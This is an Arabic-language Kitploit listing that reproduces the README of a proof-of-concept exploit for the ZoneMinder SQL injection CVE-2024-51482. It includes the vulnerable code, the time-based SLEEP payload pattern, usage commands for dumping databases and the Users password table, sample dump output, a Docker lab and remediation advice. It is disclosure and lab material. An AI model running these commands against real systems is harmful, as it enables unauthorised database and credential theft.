Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-51482-POC — إثبات مفهوم حقن SQL زمني للثغرة CVE-2024-51482 في ZoneMinder، مع مختبر Docker قابل للتكرار واستخراج بيانات آلي. | Kitploit
أدوات/GitHubGitHub/0xdaeras/cve-2024-51482-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

إثبات مفهوم حقن SQL زمني للثغرة CVE-2024-51482 في ZoneMinder، مع مختبر Docker قابل للتكرار واستخراج بيانات آلي.

عرض المستودع
76منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ZoneMinder Authenticated Time Based SQLi POC - CVE-2024-51482

CVE-1 CVSS Python

⚠️ للأغراض التعليمية وأبحاث الأمن المصرح بها فقط. تشغيل هذه الأداة ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها غير قانوني.


جدول المحتويات

  • ZoneMinder Authenticated Time Based SQLi POC - CVE-2024-51482
    • جدول المحتويات
    • نظرة عامة
    • تفاصيل الثغرة
      • CVE-2024-51482 — حقن SQL أعمى قائم على الوقت
      • السبب الجذري
      • تدفق الهجوم
    • هيكل المستودع
  • المتطلبات
  • التثبيت
    • PoC
    • مختبر Docker
  • الاستخدام
    • السلوك الافتراضي
    • شاشة المساعدة
    • الأوامر
    • خيارات الإخراج
    • مرجع الأعلام
    • مثال كامل
    • ملاحظات
    • مختبر Docker
  • مثال على الإخراج
  • المعالجة
    • ضد هذه CVE
    • ضد الثغرات المماثلة
  • الجدول الزمني للإفصاح
  • المراجع

  • نظرة عامة

    يحتوي هذا المستودع على PoC لحقن SQL قائم على الوقت يستهدف ZoneMinder.

    تتيح الأداة ما يلي:

    • التحقق من وجود الثغرة
    • تعداد قاعدة البيانات
    • اكتشاف الجداول والأعمدة
    • تفريغ الجداول بالكامل
    • التصدير إلى CSV

    كما تتضمن مختبر Docker قابل للتكرار بالكامل للاختبار الآمن.


    تفاصيل الثغرة

    CVE-2024-51482 — حقن SQL أعمى قائم على الوقت

    • CVE ID: CVE-2024-51482
    • CVSS v3.1 Score: 10.0 (Critical)
    • نوع الثغرة: حقن SQL أعمى قائم على الوقت
    • الإصدارات المتأثرة: ZoneMinder v1.37.* <= 1.37.64
    • ناقل الهجوم: نقطة نهاية موثقة (removetag)
    • التأثير: الكشف الكامل عن قاعدة البيانات، المساس بسلامة البيانات
    • المصادقة المطلوبة: نعم (مستخدم ذو صلاحيات منخفضة كافٍ)

    السبب الجذري

    ZoneMinder هو تطبيق برمجي مجاني ومفتوح المصدر للدوائر التلفزيونية المغلقة. تنشأ الثغرة من التحقق غير الكافي من المدخلات في نقطة النهاية removetag في ZoneMinder. يتم تضمين المدخلات التي يوفرها المستخدم مباشرة في استعلامات SQL دون تطهير أو معاملات مناسبة، مما يسمح للمهاجمين بحقن حمولات SQL قائمة على القيم المنطقية. يستغل الاستغلال:

    root@kitploit:~
    SLEEP(x - IF(condition, 0, x))
    

    لاستنتاج البيانات عبر توقيت الاستجابة.

    مقطع الكود الثغري الكامل من نصيحة الصيانة على Github:

    root@kitploit:~
    case 'removetag' :
        $tagId = $_REQUEST['tid'];
        dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
        $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
        $rowCount = dbNumRows($sql);
        if ($rowCount < 1) {
          $sql = 'DELETE FROM Tags WHERE Id = ?';
          $values = array($_REQUEST['tid']);
          $response = dbNumRows($sql, $values);
          ajaxResponse(array('response'=>$response));
        }
    

    تدفق الهجوم

    root@kitploit:~
    Attacker                              ZoneMinder Web App
       │                                         │
       │  [مصادقة]                               │
       │  POST /zm/index.php                     │
       │  {username, password}                   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  200 OK + Set-Cookie: ZMSESSID=...      │  ← جلسة موثقة
       │                                         │
       │  [CVE-2024-51482]                       │
       │  GET /zm/index.php                      │
       │  ?view=request&request=event            │
       │  &action=removetag&tid=<payload>        │
       │────────────────────────────────────────►│
       │                               استعلام SQL منطقي تم تنفيذه
       │                               IF(condition, no delay, SLEEP)
       │◄────────────────────────────────────────│
       │  استجابة متأخرة (أوراكل التوقيت)        │  ← تم استنتاج الشرط
       │                                         │
       │  تكرار الطلبات                          │
       │  ASCII(SUBSTRING(query,pos,1))          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  اختلافات التوقيت تكشف الأحرف           │
       │                                         │
       │  بحث ثنائي لكل حرف                      │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  بيانات مستخرجة (حرف واحد في كل مرة)   │
       │                                         │
       │  SELECT Username, Password FROM Users   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  الكشف الكامل عن قاعدة البيانات         │
       │                                         │
       ✓  تسريب كامل للبيانات عبر SQL أعمى
    

    هيكل المستودع

    root@kitploit:~
    CVE-2024-51482/
    ├── exploit.py
    ├── README.md
    ├── requirements.txt
    ├── docker-compose.yml
    ├── .env.example
    ├── docker/
    │   ├── Dockerfile
    │   └── entrypoint.sh
    └── logs/
    

    المتطلبات

    • Python 3.8+
    • requests
    • Docker و docker-compose (لبيئة المختبر)

    التثبيت

    PoC

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    pip install -r requirements.txt
    

    مختبر Docker

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    cp .env.example .env  # تكوين متغيرات البيئة
    docker compose up -d
    

    الاستخدام

    السلوك الافتراضي

    بدون أي أعلام، ستقوم الأداة بالمصادقة على الهدف، والتحقق من وجود الثغرة، وإذا كانت قابلة للاستغلال، ستقوم بتفريغ الأعمدة ID, Username, Password, Name و Email من جدول zm.Users (أمر dump-users).

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password>
    

    شاشة المساعدة

    root@kitploit:~
    python exploit.py -h
    

    الأوامر

    check

    للتحقق فقط مما إذا كان الهدف قابلاً للاستغلال.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> check
    

    dump-users

    يقوم بتفريغ الأعمدة ID, Username, Password, Name و Email من جدول zm.Users. الأمر الافتراضي إذا لم يتم تحديد أي أمر.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-users
    

    list-db

    يعرض جميع قواعد البيانات.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-db
    

    list-tables

    يعرض الجداول في قاعدة بيانات محددة.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
    

    list-columns

    يعرض الأعمدة في جدول محدد.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
    

    dump-table

    يقوم بتفريغ جميع البيانات من جدول محدد.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
    

    يمكنك أيضًا تحديد الأعمدة المراد تفريغها (الافتراضي هو الكل):

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
    

    خيارات الإخراج

    تعطيل الإخراج الطرفي

    root@kitploit:~
    --no-display
    

    التصدير إلى CSV

    إذا لم يكن الملف موجودًا، فسيتم إنشاؤه. إذا كان موجودًا بالفعل، سيتم إضافة النتائج الجديدة إليه.

    root@kitploit:~
    --outfile results.csv
    

    مرجع الأعلام

    الهدف والمصادقة

    العلمالوصفمثال
    -t, --targetعنوان URL الأساسي للهدف-t http://localhost:8080
    -u, --userاسم المستخدم للمصادقة-u admin
    -p, --passwordكلمة المرور للمصادقة-p admin
    --cookieاستخدام ملف تعريف ارتباط ZMSESSID موجود بدلاً من تسجيل الدخول--cookie abc123...

    الأوامر الأساسية

    الأمرالوصفمثال
    checkاختبار ما إذا كان الهدف قابلاً للاستغلال (SQLi قائم على الوقت)check
    dump-usersتفريغ جدول zm.Users مباشرةdump-users
    list-dbعرض جميع قواعد البياناتlist-db
    list-tablesعرض الجداول من قاعدة بياناتlist-tables --db zm
    list-columnsعرض الأعمدة من جدولlist-columns --db zm --table Users
    dump-tableتفريغ جدول معينdump-table --db zm --table Users

    خيارات الأوامر

    العلمالوصفمطلوبمثال
    --dbاسم قاعدة البياناتنعم (لعمليات الجدول/العمود)--db zm
    --tableاسم الجدولنعم (للعمود/التفريغ)--table Users
    --columnsقائمة مفصولة بفواصل للأعمدة المراد تفريغهااختياري--columns Username,Password

    الأداء والاستغلال

    العلمالوصفالافتراضيمثال
    --threadsعدد خيوط الاستخراج المتزامنة5--threads 6
    --delayالتأخير المستخدم في SQLi القائم على الوقت3--delay 2
    --no-checkتخطي فحص الثغرة قبل الاستغلالFalse--no-check

    خيارات الإخراج

    العلمالوصفمثال
    --outfileحفظ الإخراج إلى ملف CSV--outfile results.csv
    --no-displayتعطيل الإخراج الطرفي--no-display

    التسجيل والعرض

    العلمالوصفالافتراضيمثال
    -v, --verboseتمكين تسجيل التصحيحFalse-v
    --log-fileمسار ملف السجلlogs/exploit.log--log-file out.log
    --no-colorتعطيل الإخراج الملونFalse--no-color

    مثال كامل

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8080 \
      -u admin -p admin \
      dump-table \
      --db zm \
      --table Users \
      --columns Username,Password \
      --threads 6 \
      --delay 2 \
      --outfile dump.csv
    

    ملاحظات

    • جميع الأوامر تتطلب مصادقة (ملف تعريف ارتباط أو بيانات اعتماد).
    • dump-users هو اختصار لتفريغ جدول zm.Users.
    • تعدد الخيوط يسرع عملية الاستخراج بشكل كبير ولكنه قد يزيد الحمل على الهدف. 5 خيوط وتأخير 3 ثوانٍ هي إعدادات افتراضية آمنة. استخدم القيم المخصصة بحذر.
    • إخراج CSV يدعم كلاً من البيانات المنظمة والمسطحة (على سبيل المثال، قائمة قواعد البيانات مقابل تفريغ الجدول الكامل).
    • استخدم --no-check فقط إذا كنت متأكدًا من أن الهدف قابل للاستغلال.

    مختبر Docker

    يقوم ملف docker-compose.yml المرفق بإعداد مثيل ZoneMinder ضعيف.

    root@kitploit:~
    cp .env.example .env  # تكوين متغيرات البيئة
    docker compose up -d
    

    قم بالوصول إلى واجهة الويب على http://localhost:8080/ (أو المنفذ المخصص لديك). بيانات الاعتماد الافتراضية هي admin:admin. يمكنك بعد ذلك تشغيل الاستغلال ضد هذا المثيل المحلي للاختبار.


    مثال على الإخراج

    root@kitploit:~
    $ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                       
    _________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
    \_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
    /    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
    \     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
     \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
            \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                       
    
    [∗] عنوان URL الهدف: http://localhost:8080/
    [∗] الوحدة النمطية : dump-table
    [∗] سيتم حفظ الإخراج إلى: ./out.csv
    
    [∗] محاولة تسجيل الدخول باستخدام مصادقة اسم المستخدم/كلمة المرور
     🡲  بيانات الاعتماد: admin:admin
    [+] تمت المصادقة بنجاح كمستخدم admin
    
    [∗] اختبار قابلية الهدف للاستغلال...
    [+] يبدو أن الهدف قابل للاستغلال (يشير وقت الاستجابة إلى حقن ناجح).
    
    [∗] تفريغ محتويات جدول zm.Users...
    [+] تم العثور على الأعمدة: Username, Password
    [∗] استرداد عدد الصفوف في الجدول...
    [+] يحتوي الجدول على صفين. بدء التفريغ...
    
    [∗] التقدم: 5/5 | admin
    [∗] التقدم: 60/60 | $2h$12$NHZs...
    [+] تم استرداد الصف 1 : admin, $2h$12$NHZs...
    
    [∗] التقدم: 4/4 | flag
    [∗] التقدم: 60/60 | $2y$10$1Ei....
    [+] تم استرداد الصف 2 : flag, $2y$10$1Ei....
    
    +----------+----------------+
    | Username | Password       |
    +----------+----------------+
    | admin    | $2h$12$NHZs... |
    | flag     | $2y$10$1Ei.... |
    +----------+----------------+
    
    [+] تمت كتابة النتائج إلى ./out.csv
    [+] العمل تم. وداعًا!
    

    المعالجة

    ضد هذه CVE

    • قم بالتحديث إلى ZoneMinder الإصدار 1.37.65 أو أحدث، والذي يتضمن إصلاحًا لـ CVE-2024-51482.

    ضد الثغرات المماثلة

    • قم بتنفيذ التحقق المناسب من المدخلات وتطهيرها على جميع البيانات المقدمة من المستخدم.
    • استخدم استعلامات معاملية أو عبارات مُعدة لمنع حقن SQL.

    الجدول الزمني للإفصاح

    • 2024-10-31: المستخدم Entropt والمستخدم connortechnology يكشفان عن الثغرة في ZoneMinder GitHub.
    • 2024-11-01: تم إجراء التصحيح لمستودع ZoneMinder.
    • 2025-02-13: تم وضع علامة الإصدار 1.37.65.

    المراجع

    • تفاصيل CVE-2024-51482
    • إدخال NIST NVD
    • الموقع الرسمي لـ ZoneMinder
    • نصيحة الأمان للصيانة على GitHub ZoneMinder
    • إصلاح التصحيح في GitHub ZoneMinder
    • ورقة الغش للوقاية من حقن SQL من OWASP
    تنزيل الأداة